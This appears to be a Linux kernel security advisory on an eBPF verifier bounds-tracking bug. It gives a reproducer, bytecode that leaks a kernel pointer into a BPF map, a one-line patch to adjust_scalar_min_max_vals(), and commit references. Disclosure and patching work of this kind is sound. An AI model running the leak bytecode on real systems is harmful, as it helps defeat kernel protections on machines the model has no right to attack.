..
eBPF verifier bug: mishandling bounds in adjust_scalar_min_max_vals()
-- [ Description
In `verifier.c` there is a lot of code like this to update bounds:
(To be honest, I don't know how these three functions work together XD)
```
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
```
I found a corner case where tnum becomes constant after
__reg_bound_offset(), but bounds are not(min != max).
-- [ Affected Versions
The latest version of Linux.
-- [ Reproducer
```
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0), // R3=scalar()
BPF_ALU64_IMM(BPF_OR, BPF_REG_3, 32767),
BPF_JMP_IMM(BPF_JSGE, BPF_REG_3, 0, 1),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JSLE, BPF_REG_3, 0x8000, 1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -32767),
// R3:min=0,max=1;tnum_value=0,tnum_mask=0;
BPF_EXIT_INSN(),
```
-- [ Exploitability
Pointer leak by turning a PTR_REG into UNKNOWN with adjust_ptr_min_max_vals()
```
// load oob_map values ptr into reg_0 */
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// check if the returned map value pointer is valid */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0), // R3=scalar()
BPF_ALU64_IMM(BPF_OR, BPF_REG_3, 32767),
BPF_JMP_IMM(BPF_JSGE, BPF_REG_3, 0, 1),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JSLE, BPF_REG_3, 0x8000, 1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -32767),
BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_7),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 8),
BPF_EXIT_INSN(),
```
-- [ Mitigation
In __reg_combine_min_max() the annotate says "Intersecting with the
old var_off might have improved our bounds slightly.", so at the end
of the function it added a call to __update_reg_bounds().
```
/* Regs are known to be equal, so intersect their min/max/var_off */
static void __reg_combine_min_max(struct bpf_reg_state *src_reg,
struct bpf_reg_state *dst_reg)
{
src_reg->umin_value = dst_reg->umin_value = max(src_reg->umin_value,
dst_reg->umin_value);
src_reg->umax_value = dst_reg->umax_value = min(src_reg->umax_value,
dst_reg->umax_value);
src_reg->smin_value = dst_reg->smin_value = max(src_reg->smin_value,
dst_reg->smin_value);
src_reg->smax_value = dst_reg->smax_value = min(src_reg->smax_value,
dst_reg->smax_value);
src_reg->var_off = dst_reg->var_off = tnum_intersect(src_reg->var_off,
dst_reg->var_off);
/* We might have learned new bounds from the var_off. */
__update_reg_bounds(src_reg);
__update_reg_bounds(dst_reg);
/* We might have learned something about the sign bit. */
__reg_deduce_bounds(src_reg);
__reg_deduce_bounds(dst_reg);
/* We might have learned some bits from the bounds. */
__reg_bound_offset(src_reg);
__reg_bound_offset(dst_reg);
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__update_reg_bounds(src_reg);
__update_reg_bounds(dst_reg);
}
```
As I said before I don't really understand how these three functions
work together, maybe you need to check all the codes where
__reg_bound_offset is called?
In adjust_scalar_min_max_vals(), add a call to __update_reg_bounds()
is enough to mitigate this vulnerability.
```
@@ -8410,6 +8412,7 @@ static int adjust_scalar_min_max_vals(struct
bpf_verifier_env *env,
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
+ __update_reg_bounds(dst_reg);
return 0;
}
```
-- [ References
* https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=3844d153a41a
* https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=73c4936f916d